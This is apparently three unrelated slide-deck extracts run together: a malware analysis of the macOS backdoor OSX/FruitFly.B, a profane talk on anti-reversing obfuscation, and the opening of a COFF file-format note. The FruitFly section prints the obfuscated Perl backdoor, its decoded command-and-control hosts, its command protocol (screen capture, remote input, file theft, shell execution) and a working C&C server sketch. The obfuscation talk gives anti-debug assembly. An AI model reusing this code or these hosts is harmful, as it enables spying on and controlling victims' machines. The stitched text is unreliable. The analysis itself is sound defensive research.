 -malwarebytes/thomas reed components (script, binary, etc) persistence (launch agent) capabilities } Virus Total submission(s) Jan 11th (0 detections) files procs cam mouse keys infection vector? trojan? email? method of persistence OSX/FRUITFLY $ cat ~/Library/LaunchAgents/ com.client.client.plist <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE plist PUBLIC … > <plist version="1.0"> <dict> <key>KeepAlive</key> <true/> <key>Label</key> <string>com.client.client</string> <key>ProgramArguments</key> <array> <string>/Users/user/.client</string> </array> <key>RunAtLoad</key> <true/> <key>NSUIElement</key> <string>1</string> </dict> </plist> [RSA 2015, wardle] 
 "Malware Persistence on OS X" launch agent persistence } launch agent property list: ~/Library/LaunchAgents/ com.client.client.plist payload: ~/.client BlockBlock alert variant ‘b’ OSX/FRUITFLY.B $ file fpsaud perl script text executable, ASCII text $ cat fpsaud #!/usr/bin/perl use strict;use warnings;use IO::Socket;use IPC::Open2;my$l;sub G{die if!defined syswrite$l,$_[0]}sub J{my($U, $A)=('','');while($_[0]>length$U){die if! sysread$l,$A,$_[0]-length$U;$U.=$A;}return$U;} sub O{unpack'V',J 4}sub N{J O}sub H{my$U=N; $U=~s/\\/\//g;$U}sub I{my$U=eval{my$C=`$_[0]`;chomp$C;$C};$U=''if! defined$U;$U;}sub K{$_[0]?v1:v0}sub Y{pack'V', $_[0]}sub B{pack'V2',$_[0]/2**32,$_[0]%2**32} sub Z{pack'V/a*',$_[0]}sub M{$_[0]^(v3 x length($_[0]))}my($h,@r)=split/ a/,M('11b36-301-;;2-45bdql-lwslk-hgjfbdql- pmgh`vg-hgjf');push@r,splice@r, 0,rand@r;my@e=();for my$B (split/ a/,M('1fg7kkb1nnhokb71jrmkb;rm`;kb1fplifeb1njg ule')){push@e,map $_.$B,split/a/,M(‘dql-lwslk- bdql-pmgh`vg-');}push@e,splice@e,0,rand@e; ... obfuscated perl?! } name: ‘fspaud’ OSX/FruitFly.B submitted: 1/31 
 (0 AV detections) type: perl script mahalo @noarfromspace a brief triage OSX/FRUITFLY.B 'tell me your secretz' custom C&C server } address of c&c server(s) malware’s protocol $ cat fpsaud.pretty #!/usr/bin/perl use IO::Socket; use IPC::Open2; sub G { die if !defined syswrite $l, $_[0] } ...
 for( my ( $x, $n, $q ) = ( 10, 0, 0 ) ; ; sleep $x) { ... the goal: need this info to build c&c server ‘beautified’ script subroutines main logic imports 'ok' a triage of subroutines OSX/FRUITFLY.B #send data sub G { die if !defined syswrite $l, $_[0] } #recv data sub J { my ( $U, $A ) = ( '', '' ); while ( $_[0] > length $U ) { die if !sysread $l, $A, $_[0] - length $U; $U .= $A; } return $U; } #pack data sub Z { pack 'V/a*', $_[0] } #XOR string sub M { $_[0] ^ ( v3 x length( $_[0] ) ) } #eval command sub I { my $U = eval { my $C = `$_[0]`; chomp $C; $C }; $U = '' if !defined $U; } name description B split & pack an integer E read bytes from process G send data to c&c server H read data from c&c server & format I eval() a string J read data from c&c server K check if variable it true M XOR string with '3' N read variable length data from c&c server O read 4 bytes (integer) from c&c server R close process handles S write data to file V save embedded binary to disk, then exec & pass parameters via stdin W read from file Y pack a 4-byte integer Z pack variable length data various subroutines osx/fruitfly.b's subroutines string decoding (c&c servers) OSX/FRUITFLY.B #decode c&c primary servers my ($h, @r) = split /a/, M(‘11b36-301-;;2-45bdql-lws...'); #decode c&c backup servers
 for my $B (split /a/, M('1fg7kkb1nnhokb71jrmkb;rm`;kb...')){ push @e, map $_ . $B, split /a/, M(‘dql-lwslk-bdql...’); } command description -d <script.pl> start a script under the debugger R restart n single step (over subroutines) s single step (into subroutines) p <variable> display value of a variable l <line #> display code at line number b <line #> set a breakpoint on line # B <line #> remove the breakpoint on line # T display 'stack'/caller backtrace $ perl -d .fpsaud main::(fpsaud:6): my $l; DB<1> n main::(fpsaud:39): my ( $h, @r ) = split /a/, main::(fpsaud:40): M(‘11b36-301-;;2-45bdql-lws… DB<1> n DB<1> p $h 22 DB<1> p @r xx.xx2.881.76 gro.otpoh.kdie gro.sndkcud.kdie decoding strings perl debugger commands $g = shift @r; push @r, $g; #connect to C&C server # $g: reversed C&C address # $h: C&C port $l = new IO::Socket::INET( PeerAddr => scalar( reverse $g ), PeerPort => $h, Proto => 'tcp', Timeout => 10 ); 67.188.2xx.xx
 eidk.hopto.org
 eidk.duckdns.org } :22 encoded strings …cmdline options, process hiding, & decoding data OSX/FRUITFLY.B #save port, or addr:port if ( @ARGV == 1 ) { if ( $ARGV[0] =~ /^\d+$/ ) { $h = $ARGV[0] } elsif ( $ARGV[0] =~ /^([^:]+):(\d+)$/ ) { ( $h, @r ) = ( $2, scalar reverse $1 ); } } # 'change' process name $0 = 'java'; #before $ ps aux 2321 USER PID COMMAND user 2321 perl /Users/user/fpsaud #after $ ps aux 2321 USER PID COMMAND user 2321 java #decode embedded binary data my $u = join '', <DATA>; my $W = pack 'H*', 'b02607441aa086'; $W x= 1 + length($u) / length($W); $u ^= substr $W, 0, length $u; $u =~ s/\0(.)/v0 x(1+ord$1)/seg; __DATA__ ‹Í∫†á±%Eö¢Ü≤”F˙°Ü£B†Ñ¯&E«˜c]HÔ܆÷g†Ñ(&EÙ√Ër H͆ÇÄ& t•Å∞$D°Ü∂yX0ÿÚ∞/XNÂfi‰&π†Ü@&G=†ÉM.J†Ü0&... $ fpsaud <port> $ fpsaud <addr:port> process 'hiding' ps is fooled 'perl' 'java' decoding binary data terminal is fooled the protocol / control flow OSX/FRUITFLY.B #forever for ( ; ; ) { #send client data G v1 . Y(1143) . Y( $q ? 128 : 0 ) . Z( I('scutil --get LocalHostName’)) . Z( I('whoami') ); #get & process cmd for ( ; ; ) { my $D = ord J 1; if ( $D == 0 ) { } elsif ( $D == 2 ) { my ( $Z, $C ) = ( J 1 ); … } elsif ( $D == 47 ) { … } } } { 1143, 128 | 0, host name, user name } recv cmd process cmd send 
 client info } } loop 1 2 3 do cmd tasking 'do cmd x' 4 command response client info main processing loop MONITORING how to passively observe network;files;processes;mouse;keyboard WATCH ALL THINGS cmd ‘x’ do cmd ‘x’ } files? procs? mouse? keys? cmd response network traffic file i/o processes execs 
 (& shell commands) mouse & keyboard events osx/fruitfly command processing monitor for these all! goal: to understand the malware's capabilities via tasking & passive monitoring c&c server, protocol & command analysis NETWORK MONITORING # tcpdump port 53 tcpdump: listening on pktap, link-type PKTAP (Apple DLT_PKTAP) IP 192.168.0.67.59185 > google-public-dns-a.google.com.domain: 41875+ A? eidk.hopto.org. (32) IP google-public-dns-a.google.com.domain > 192.168.0.67.59185: 41875 1/0/0 A 127.0.0.1 (48) tcpdump: dns query for (primary) c&c server cmd #13 "~/fpsaud" wireshark: response for command #13 } malware components & command analysis FILE MONITORING # sudo fs_usage -w -f filesystem | grep perl open F=5 /private/tmp/client perl5 lseek F=5 <SEEK_CUR> perl5 write F=5 B=0x2000 perl5
 write F=5 B=0x11e8 perl5 close F=5 perl5 fs_usage: dropping embedded binary #assign my $u = join '', <DATA>; #decode my $W = pack 'H*', 'b02607441aa086'; $W x= 1 + length($u) / length($W); $u ^= substr $W, 0, length $u; #expand $u =~ s/\0(.)/v0 x(1+ord$1)/seg; __DATA__ ‹Í∫†á±%Eö¢Ü≤”F˙°Ü± £B†Ñ¯&E«˜c]HÔ܆÷g†Ñ(&EÙ√ËrH͆ÇÄ&t•Å∞$D°Ü∂yX0ÿÚ∞/ XNÂfi‰&π†Ü@&G=†ÉM.J†Ü0&]¢Œ∞$XVÈ»˚cCN†ÄÄ&¥§ñ∞7DHá .. /tmp/client encoded machO binary & decoding logic #argument processing # ->reads from stdin & switches on value call getchar lea rdx, qword [sub_100001cc0+356] movsxd rax, dword [rdx+rax*4] add rax, rdx jmp rax } switch() to exec complex commands /tmp/client command analysis PROCESS MONITORING cmd #11 no open-source user-mode process monitoring utility for macOS #procMonitor new process: pid=5836 path=/usr/local/bin/pwd args=none ancestors=(5836/perl5, 1/launchd) 'pwd' let's write one :) process monitoring library free/open-source/user-mode! #import "processLib.h" //create callback block ProcessCallbackBlock block = ^(Process* newProcess){ NSLog(@"new process: %@", newProcess); }; //init object ProcessMonitor* procMon = [[ProcessMonitor alloc] init]; //go go go [procMon start:block]; using the process monitor lib procMonitor: pwd (cmd #11) command analysis MOUSE/KEYBOARD MONITORING //init event with mouse events & key presses eventMask = CGEventMaskBit(kCGEventLeftMouseDown) | CGEventMaskBit(kCGEventLeftMouseUp) | CGEventMaskBit(kCGEventRightMouseDown) | CGEventMaskBit(kCGEventRightMouseUp) | CGEventMaskBit(kCGEventMouseMoved) | CGEventMaskBit(kCGEventLeftMouseDragged) | CGEventMaskBit(kCGEventRightMouseDragged) | CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventKeyUp); //create event tap eventTap = CGEventTapCreate(kCGSessionEventTap, kCGHeadInsertEventTap, 0, eventMask, callback, NULL); //callback for mouse/keyboard events CGEventRef callback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void *refcon) { //key presses if( (kCGEventKeyDown == type) || (kCGEventKeyUp == type) ) { //get code keycode = CGEventGetIntegerValueField(event, kCGKeyboardEventKeycode); //dbg msg printf("keycode: %s\n\n”, keyCodeToString(keycode)); } //mouse else { //get location location = CGEventGetLocation(event); //dbg msg printf("(x: %f, y: %f)\n\n", location.x, location.y); } ... # ./sniff event: kCGEventKeyDown keycode: h event: kCGEventKeyUp keycode: h event: kCGEventKeyDown keycode: i event: kCGEventKeyUp keycode: i event: kCGEventLeftMouseDown (x: 640.23, y: 624.19) event: kCGEventLeftMouseUp (x: 640.23, y: 624.19 "Receiving, Filtering, & Modifying:
 › Mouse Events 
 › Key Presses and Releases" -Mac OS X Internals mouse/keyboard sniffer sniff sniff! code based on: BUILDING A CUSTOM C&C SERVER …and then we task! handling connections CUSTOM C&C SERVER address of c&c server(s) (can specify via cmdline!) malware's protocol #init socket sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) #bind & listen sock.bind(('0.0.0.0', port)) sock.listen(1) #wait for malware to connect while True: connection, client_address = sock.accept() print 'client connected: ', client_address python c&c server $ python server.py 1337 listening on ('0.0.0.0', 1337) waiting for a connection… client connected: ('192.168.0.13') $ perl fpsaud 192.168.0.2:1337 now we know: launch osx/fruitfly.b connection received! handling 'check-in' CUSTOM C&C SERVER #connect $l = new IO::Socket::INET( PeerAddr => scalar( reverse $g ), PeerPort => $h, Proto => 'tcp', Timeout => 10 ); #send client info G v1 . Y(1143) . Y( $q ? 128 : 0 ) . Z( I('scutil --get LocalHostName’)) . Z( I('whoami') ); connect & send client info size value 1 byte 1 4 bytes 1143 (version #) 4 bytes 0, or 128 variable host name variable user name ('whoami') $ python server.py 1337 ... client connected: ('192.168.0.13') client data: offset 0x00: byte 1 offset 0x01: int: 1143 offset 0x05: int: 0 offset 0x0d: str (host name): users-Mac offset 0x1a: str (user name): user parsing client info format of client info G(): send data to c&c server Y(): pack integer Z(): pack string relevant subroutines handling commands CUSTOM C&C SERVER triage command to see: a) additional bytes/data? b) format of the response
 send command send additional bytes receive and process data 1 2 3 for each command: #command 11 def cmd11(connection): #send command connection.sendall(struct.pack('b', 11)) #malware first responds w/ command # data = connection.recv(1) print 'byte: 0x%02x (command)' % (ord(data)) #read & unpack length of pwd data = connection.recv(4) length = struct.unpack('I', data)[0] #read 'pwd' data = connection.recv(length) print 'string: %s' (pwd) % data $ pwd /Users/user/Desktop $ perl fpsaud 192.168.0.2:1337 launching osx/fruitfly.b c&c command #11 implementation #command 11 elsif ( $D == 11 ) { G v11 . Z( I('pwd') ) } cmd #11 tasking (command #11) $ python server.py 1337 ... client connected: '192.168.0.13' available commands: 11: Print Working Directory select command: 11 response: byte: 11 (command) string: '/Users/user/Desktop' (pwd) cmd #11 TASKING OSX/FRUITFLY.B exposing capabilities via /tmp/client COMMAND #2 #command 2 elsif ( $D == 2 ) { my ($Z, $C) = (J 1);
 if (!$O && V(v2 . $Z) && defined($C = E(4)) && defined($C = E(unpack 'V', $C))) { G v2 . Z($C); } } direction size value recv 1 byte commmand, 2 recv 1 bytes ? send 1 byte command, 2 send variable ? E(): read byte(s) from proc J(): recv byte(s) V(): exec embedded binary G(): send data to c&c server command #2 cmd #2, 0 # sudo fs_usage -w -f filesystem | grep perl open F=5 /private/tmp/client perl5 lseek F=5 <SEEK_CUR> perl5 write F=5 B=0x2000 perl5
 write F=5 B=0x11e8 perl5 close F=5 perl5 # procMonitor new process: pid=3237 path=/private/tmp/client args=none ancestors=(1, 3233) relevant subroutines command #2's protocol file i/o & process events } args (cmd,?) via stdin oh; screen capture! COMMAND #2 $ du -h response.unknown 1.4M $ hexdump -C response.unknown 00000000 89 50 4e 47 0d 0a 1a 0a |.PNG....| 00000008 00 00 00 0d 49 48 44 52 |....IHDR| ... $ file response.unknown PNG image data, 1245 x 768, 8-bit/color RGB looks like a .png! screen capture response to (cmd #2,0); sends back 1MB+ wireshark capture that second byte? COMMAND #2 cmd #2, 0 cmd #2, 1 cmd #2, 8 cmd #2, 32 cmd #2, 64 cmd #2, 128 cmd #2, 255 param size type color resolution 0 1.4MB PNG color high 1 64KB PNG black & white low 8 788KB PNG black & white high 9 1.4MB PNG color high 10 60KB JPEG color low 64 168KB JPEG color medium 110 1.2MB JPEG color high 111+ 1.4MB PNG color high cmd #2, 1 (low-res B&W png) cmd #2, 10 (low-res color jpg) } subcommand (byte #2) impact task away: ...the mouse moved! COMMAND #8 #command 8 elsif ( $D == 8 ){ #recv 9 bytes my ( $Z, $C ) = ( J 9 ); if ( V( v8 . $Z ) && defined($C = E(1)) ){ G(ord($C) ? v8 : v0.10); } } direction size value recv 1 byte commmand, 8 recv 9 bytes ? send 1 || 2 bytes command, 8 || 0, 10 command #8 command #8's protocol response provides no insight into command :( cmd #8 
 (0,123,456) # ./sniff event: kCGEventMouseMoved (x: 123.000000, y: 456.000000) mouse move (x,y) ...and action! ...that second byte? COMMAND #8 cmd #8, 0 (123,456) cmd #8, 1 (123,456) cmd #8, 2 (123,456) ... cmd #8, 7 (123,456) } sub-cmd description 0 move 1 left click (up & down) 2 left click (up & down) 3 left double click 4 left click (down) 5 left click (up) 6 right click (down) 7 right click (up) note that: mouse is moved, 
 then action down (#4) + then move (#0) + then up events (#5) = 'drag' # ./sniff event: kCGEventLeftMouseDown (x: 123.000000, y: 456.000000) event: kCGEventLeftMouseDragged (x: 0.000000, y: 0.000000) event: kCGEventLeftMouseUp (x: 0.000000, y: 0.000000) command #8, sub commands task away: ...and action! all things files COMMAND #12 #command 12 elsif ( $D == 12 ) { #recv 1 byte my $Z = ord J 1; my ( $S, $p ) = ( H, '' ); if ( $Z == 0 ) { $p = K( -e $S ) } elsif ( $Z == 4 ) { $p = Y( -s $S ) } ...
 G v12 . chr($Z) . Z($S) . $p; } direction size value recv 1 byte commmand, 12 recv 1 byte ? recv variable ? send 1 command, 12 send 1 byte ? (same as recv) send variable ? (same as recv) send variable result command #12 command #12's protocol cmd #12 
 (0,'foo') # fs_usage -w -f filesystem | grep perl stat64 [ 2] foo perl5 tasking (command #12) $ python server.py 1337 ... client connected: '192.168.0.13' selected command: 12 sending command 12 with 0 & 'foo' response: byte: 12 (command) string: 'foo' byte: 0 selected command: 12 sending command 12 with 0 & '/tmp' response: byte: 12 (command) string: '/tmp' byte: 1 stat64 [ 2] /tmp perl5 first: foo second: /tmp } all things files COMMAND #12 sub-cmd description 0 exist? 1 delete 2 rename (move) 3 copy 4 size of 5 not implemented 6 read 7 write 8 attributes ('ls -a') 9 attributes ('ls -al') command #12, sub commands cmd #12, 0 ('/tmp') cmd #12, 1 ('/tmp') ... cmd #12, 9 ('/tmp') } # fs_usage -w -f filesystem | grep perl unlink /tmp/foo perl5 # fs_usage -w -f filesystem | grep perl open F=5 (_WC_T_) /tmp/foo perl5 lseek F=5 <SEEK_CUR> perl5 write F=5 B=0x3 perl5 close F=5 perl5 # procMonitor new process: pid=3248 path=/bin/ls args=('-a', '/tmp/foo') ancestors=(1, 3233) sub-command #9 ('ls -al') $ python server.py 1337 sending command 12 with 9 & '/tmp' response: byte: 12 (command) string: 'lrwxr-xr-x@ 1 root wheel 11 Sep 22 2016 /tmp -> private/tmp' sub-command #7 (write) sub-command #1 (delete) task away: keyboard events COMMAND #16/17 #command 16 / 17 elsif ( $D == 16 || $D == 17 ) { #recv 1 byte my $Z = J 1; G(v0.23) if !V( chr($D) . $Z ); } direction size value recv 1 byte commmand, 16 || 17 recv 1 byte ? send 2 bytes 0, 23 (only error) command #16/17 command #16/17's protocol cmd #16, 0 cmd #16, 1 ... cmd #16, 65 cmd #17, 65 nothing... no bytes sent file write
 /tmp/client proc exec
 /tmp/client keyboard events # sniff event: kCGEventKeyDown keycode: 0x0/'a' cmd #16, 65 # sniff event: kCGEventKeyUp keycode: 0x0/'a' cmd #17, 65 remote typing task away: osx/fruitfruit.b; fully deconstructed :) COMMANDS cmd sub-cmd description 0 do nothing 2 screen capture (PNG, JPEG, etc) 3 screen bounds 4 host uptime 6 evaluate perl statement 7 mouse location 8 mouse action 0 move mouse 1 left click (up & down) 2 left click (up & down) 3 left double click 4 left click (down) 5 left click (up) 6 right click (down) 7 right click (up) 11 working directory 12 file action 0 does file exist? 1 delete file 2 rename (move) file 3 copy file 4 size of file 5 not implemented 6 read & exfiltrate file 7 write file 8 file attributes (ls -a) 9 file attributes (ls -al) cmd sub-cmd description 13 malware's script location 14 execute command in background 16 key down 17 key up 19 kill malware's process 21 process list 22 kill proces 26 read string (command not fully implemented?) 27 directory actions 0 do nothing 2 directory listing 29 read byte (command not fully implemented?) 30 reset connection to trigger reconnect 35 get host by name 43 string' action 'alert' set alert to trigger when user is active 'scrn' toggle method of screen capture 'vers' malware version <string> execute shell command 47 connect to host TRAPPING FRUIT FLIES let's play a little game oh f***; they are available! ABOUT THOSE BACKUP C&C SERVERS #decode c&c backup servers
 for my $B ( split /a/, M('1fg7kkb1nnhokb71jrmkb;rm`;kb...') ) { push @e, map $_ . $B, split /a/, M(‘dql-lwslk-bdql...’); } backup c&c servers hxxxxx.hopto.org hxxxxx.duckdns.org hxxxxx.hopto.org hxxxxx.duckdns.org hxxxxx.hopto.org hxxxxx.duckdns.org hxxxxx.hopto.org hxxxxx.duckdns.org fxxxxxx.hopto.org fxxxxxx.duckdns.org fxxxxxx.hopto.org fxxxxxx.duckdns.org $ ping eidk.hopto.org PING eidk.hopto.org (127.0.0.1) : 56 data bytes primary; 'offline' } primary c&c servers are all online addrs of backup ones available register c&c server ANYBODY THERE? 'hxxxxx.hopto.org' 'fxxxxxx.hopto.org' ... 1 2 register start custom c&c server 09:18:25,702 client connected ( 73.215.4x.xx , 641 09:18:29,561 client connected ('107.10.21x.xx', 58 09:18:49,042 client connected ('73.28.17x.xx', 507 09:19:34,987 client connected ('73.95.13x.xxx', 19 09:19:43,657 client connected ('104.246.6x.xxx', 5 09:19:55,198 client connected ('98.225.11x.xx', 50 09:21:13,237 client connected ('129.22.x.xx', 5436 09:21:58,868 client connected ('132.239.1x.xxx', 6 09:22:10,385 client connected ('73.222.5x.xx', 557 09:22:39,061 client connected ('98.27.14x.xx', 455 09:23:44,346 client connected ('67.247.3x.xxx', 52 09:24:29,554 client connected ('47.40.11x.xxx', 61 09:24:30,947 client connected ('99.241.19x.xxx', 3 09:25:09,028 client connected ('73.42.18x.xx', 628 09:25:31,818 client connected ('73.67.24x.xx', 563 09:25:43,006 client connected ('71.231.12x.xxx', 5 09:25:46,536 client connected ('68.129.15x.xx', 56 09:25:52,615 client connected ('67.176.x.xxx', 562 09:25:57,297 client connected ('129.22.7x.xx', 523 09:26:11,636 client connected ('98.253.4x.xxx', 50 09:26:19,453 client connected ('140.252.11x.xxx', 09:26:40,407 client connected ('24.239.25x.xxx', 5 09:27:04,745 client connected ('68.51.25x.xxx', 63 09:27:16,935 client connected ('68.38.8x.xxx', 498 09:27:30,631 client connected ('73.189.15x.xxx', 5 09:27:37,894 client connected ('129.22.x.xx', 6205 09:27:38,611 client connected ('96.60.12x.xxx', 59 09:28:45,814 client connected ('24.5.4x.xxx', 5862 09:29:34,850 client connected ('130.9x.1x.xx', 501 09:29:42,912 client connected ('173.17x.11x.xxx', 09:31:05 436 client connected ('70 21x 1x xxx' 91 3 ...yikes CONCLUSIONS wrapping this up ...just by asking the right questions ANALYZING OSX/FRUITFLY.B built:
 custom C&C server 1 tasked:
 the malware observed:
 the malware's response 2 3 hxxxxx.hopto.org eidk.hopto.org macOS monitoring tools full analysis of 
 OSX/FruitFly.B results: free security tools! OBJECTIVE-SEE(.COM) KnockKnock BlockBlock TaskExplorer Ostiarius Hijack Scanner KextViewr RansomWhere? support it :) www.patreon.com/objective_see contact me any time :) QUESTIONS & ANSWERS [email protected] @patrickwardle www.synack.com/red-team join the red team! patreon.com/objective_see mahalo :) CREDITS - FLATICON.COM - ICONMONSTR.COM - ICONEXPERIENCE.COM - HTTP://WIRDOU.COM/2012/02/04/IS-THAT-BAD-DOCTOR/ - HTTP://TH07.DEVIANTART.NET/FS70/PRE/F/ 2010/206/4/4/441488BCC359B59BE409CA02F863E843.JPG 
 - HTTPS://BLOG.MALWAREBYTES.COM/THREAT-ANALYSIS/2017/01/NEW-MAC-BACKDOOR-USING- ANTIQUATED-CODE/ - HTTP://OSXBOOK.COM/BOOK/BONUS/CHAPTER2/ALTERMOUSE/ - HTTP://OSXBOOK.COM/BOOK/BONUS/CHAPTER2/ALTERKEYS/ images resources
pdf
Trolling with Math base26_t YOU = 0x038C2767; Trolling with Math wat? • frank^2 • pronounced “frank 2” (the carat is ~flare~) • “that guy with the hat” • DC949 • DC310 Trolling with Math When we last left our heroes... • “I have no idea what the fuck frank^2 is talking about, but its awesome.” • “More content, less bullshit.” Content Trolling with Math ya we pumpin Trolling with Math MATH! • It’s very possible your math teacher made this more complicated than it needs to be. • f(x) = x * 7 • (lambda x: x * 7) • public static int multiplyBySevenAndReturn(Integer x) { return x * 7; } • Mathematic functions can get even more complicated, but this is all we need for now. Trolling with Math ASSEMBLY! • JMP and CALL instructions are not specific with immediate values. They’re offsets. • JMP 00401000 is more like JMP-A-FEW- BYTES-AHEAD. It’s the same with CALL. • ...except CALL sticks its dick in your stack. • Hot. Trolling with Math ASSEMBLY! • Oh, except for when you stick an address in a register. Totally different. • When you stick an address in a register and then do something like CALL EAX, it specifically goes to whatever value is in EAX. • Same goes for CALL [EAX] or JMP [EAX]-- it just dereferences EAX and jumps to that address. Trolling with Math ASSEMBLY! • Let’s talk about JMP SHORT. • This is essentially a jump within the range of -127 8==0==D 127. • Regular JMP instructions are more like -2147483647 8====0====D 2147483647 Trolling with Math ASSEMBLY! • There is no such thing as CALL SHORT. • I know, right? • What the hell. Trolling with Math ASSEMBLY! • Here’s some computer science witchcraft. • Technically you can define the space between each instruction as... Trolling with Math Trolling with Math ASSEMBLY! • Each instruction is executed one after another. • This can be interpreted as an unconditional jump to the next instruction. • This gives us space between each assembly instruction so long as each instruction is subsequently linked by an unconditional jump. Trolling with Math ASSEMBLY! MOV EAX,5355434B MOV EBX,20412044 XOR EAX,EBX CALL 49434B20 MOV EDX,EAX SUB AL,46 XOR EAX,41545459 Trolling with Math ASSEMBLY! MOV EAX,5355434B JMP 0 MOV EBX,20412044 JMP 0 XOR EAX,EBX JMP 0 CALL 49434B20 JMP 0 MOV EDX,EAX JMP 0 SUB AL,46 JMP 0 XOR EAX,41545459 JMP 0 Trolling with Math ASSEMBLY! • It is therefore possible to place every single assembly instruction in an arbitrary location in memory if and only if each singular instruction is followed by an accompanying unconditional jump to the next instruction. Trolling with Math ASSEMBLY! • A one-dimensional array can technically be interpreted as a two-dimensional array as well. It just requires a little math. • This gives us the ability to interpret a location in memory as an X/Y grid. • Coupled with interpreting null space between instructions as unconditional jumps, we can literally draw instructions. • This is awesome. Trolling with Math Let’s do this • Disassemble each instruction. • Allocate space in memory significantly larger than the collection of instructions. • For each instruction, determine f(x) • Place each instruction at the corresponding (x,y) location in memory. • Join the instruction with an unconditional jump. • Mark memory executable and run. Bullshit Trolling with Math FUCK! • Like gravity, that shit only works in theory. • In practice, we’re fucked. • Totally and utterly fucked. Trolling with Math FUCK! • All of your JMP instructions? Fucked. • All of your CALL instructions? Fucked. • Any self-referential code? Fucked. • Self-modifying code that relies on iteration? You better BELIEVE it’s fucked. Trolling with Math FUCK! • Let’s start with JMP instructions. • Since JMPs are offsets, when placed in an arbitrary location, they no longer point to where you think they’re pointing at. • Short JMPs are in a similar situation. When arbitrarily placed by your f(x) function, they will very likely not point to where you think they will. • Short JMPs are easily fixed. Long JMPs? Not so much. Trolling with Math FUCK! • Dealing with register-based JMPs are going to be an issue as well. • Since they require hard offsets and may be calculated at run-time, there is no easy way to determine where they’re going. • So unless you want to do some extra work to get this working... you may as well ignore it. Trolling with Math FUCK! • f(x) formulas aren’t nearly as elegant in code as they are on paper. • This requires all sorts of strange voodoo magic if we want to use arbitrary formulas-- function pointers, class pointers, the whole shebang. DEAL WITH IT Trolling with Math he;lp • At disassembly, convert all your JMP SHORTs to JMP PANTS before storing them away. • Simple enough! Trolling with Math he;lp • The actual offset data though? Hoo. • All instructions which you’ve detected have offsets that will move when the code is moved need to be recalculated. • This means you need to: • Keep track of the instructions. • Keep track of the targets. • See the source for an example of how I accomplished this. Trolling with Math he;lp • After all the instructions are placed, replace the old offsets with the new offsets. • Assuming you didn’t fuck up the offsets, those problems are now solved. Trolling with Math he;lp • Now that we have the caveats out of the way, we have a path to a potential higher- level implementation. • It goes like this: Trolling with Math Implementation • Disassemble instructions. • Prepare buffer. • Initialize f(x) function constants. • Iterate over f(x) values and determine data pointers by which your code will be written to while tracking fucked instructions. • Write the instructions to the corresponding pointers. Trolling with Math Implementation • Repair all your conditional jumps. • Mark the new section of memory as executable. • RUN! Trolling with Math Who cares? • The isolation of assembly instructions and numerical steps to calculate f(x) allows us to place assembly instructions anywhere in the buffer we want to with little to no interaction from the user. • In order to obfuscate the clarity of the codepath, all you have to do is write a function and point the MATHEMACHINAE at some assembly. Trolling with Math Who cares? • This makes accomplishing various polymorphic techniques a little bit simpler as well. • Instead of writing code that manipulates your code in a specific way each time, you can write a series of functions which randomly determine the location of your code, then select those functions at random, etc. Trolling with Math Who cares? • Anti-reversing isn’t about how cool and fresh your anti-debug techniques are. • Anti-reversing isn’t about how much of a boner you get from breaking out of IDA and spawning Last Measure all over a reverser’s desktop (but it is pretty goddamn funny). • Anti-reversing is about being a dick. Trolling with Math Who cares? • Everyone knows where to Google for anti- debug techniques. • You can’t Google for creativity, though. • The most creative anti-reversing assholes among you will be the direct result of broken fingers and fist-sized holes in plastered walls. • And that’s something to be proud of! Trolling with Math Yo dawg, I heard this joke was played out... Trolling with Math ...but it’s contextual, so fuck the haters Trolling with Math At least I didn’t use memegenerator Trolling with Math AW FUCK Trolling with Math Shit sucks • But the example code only uses unconditional jumps. • Unconditional jumps only go in one goddamn direction. • Conditional jumps go in two. • That makes them better. Trolling with Math wait wh • If we require conditional jumps yet need to use unconditional jumps... what the fuck? • Opaque predicates save the day! • But why stop there? Trolling with Math Hardening • Consider the null-space expansion posited earlier. • If a set of instructions has an unconditional jump between each instruction, it also follows that a series of assembly instructions which do not have direct affect on the result of our desired instructions can precede or proceed a single instruction. • This is even more awesome. Trolling with Math Hardening pre-amble assembly data post-script Trolling with Math Hardening • The pre-amble section can be used for two things: • Repairing the after-effects of the previous pre-amble’s opaque predicate. • Anti-debug code chunks. Trolling with Math Hardening • The post-script is a whole lot more fun. • This section can be used for: • Opaque predicates and obfuscated jumps • Anti-debug and general control-flow obfuscation • Encryption/decryption of various chunks of code within the program Trolling with Math Hardening CALL IsDebuggerPresent CMP EAX,1 JE FuckYouNeighbor MOV EAX,5355434B PUSH EAX XOR EAX,EAX JZ nextBlock POP EAX MOV EBX,20412044 CLC JNC nextBlock Trolling with Math Hardening • This obviously introduces a whole lot more issues than our baseline does, such as after- effects and a complication of generating all the different sets of instructions. • So throw your Shmooballs if you got ‘em, I’m about to be That Guy: COMING SOON (AKA READ MY SHITTY BLOG) Trolling with Math Hardening • Our f(x) formulas don’t necessarily need to be calculated iteratively, e.g. f(1), f(2), ... f(n) • There’s nothing to stop us from randomly calculating them as well! Trolling with Math Hardening • If our code is generated from a predictable formula, then it follows the entry point is predictable, i.e. it can be calculated at runtime. • Oh, hi mister Debugger! What’s that? You want to ride the snake? • NOT WORTHY Drawbacks Trolling with Math Drawbacks • This technique assumes sanely compiled code. • This means if you’re trying to obfuscate assembly that would make the Conficker gang say “bravo!”, you’re screwed. Trolling with Math Drawbacks • Massive memory footprint. • You are likely going to be dealing with a HUGE dataset when you’re done. • This gets significantly larger when you obfuscate more than just one functions. • I sure hope your FuDG3p4Ck3R v6.66 is efficient! Trolling with Math Drawbacks • You think your function pointers are so clever? Yeah? Fuck you, they’re broken. • Wise-guy thought he might be smart by using C++ and the STL to get by and make his code more efficient? Fuck your OOP paradigm. Trolling with Math Drawbacks • The more clever you get with generating obfuscation pairs and manipulating the assembly, the more complicated it gets to repair. • It’s a slippery-slope from “oh, hey, neat, I can just stick a JMP or two in here” to “HOW THE FUCK DO I MEMORIZE THE DRAGONBOOK IN AS SHORT AMOUNT OF TIME AS POSSIBLE?!” Trolling with Math End! • @franksquared • http://argolithmic.blogspot.com • http://argolith.ms
pdf
Application Report SPRAAO8–April 2009 Common Object File Format ..................................................................................................................................................... ABSTRACT The assembler and link step create object files in common object file format (COFF). COFF is an implementation of an object file format of the same name that was developed by AT&T for use on UNIX-based systems. This format encourages modular programming and provides powerful and flexible methods for managing code segments and target system memory. This appendix contains technical details about the Texas Instruments COFF object file structure. Much of this information pertains to the symbolic debugging information that is produced by the C compiler. The purpose of this application note is to provide supplementary information on the internal format of COFF object files. Topic .................................................................................................. Page 1 COFF File Structure .................................................................... 2 2 File 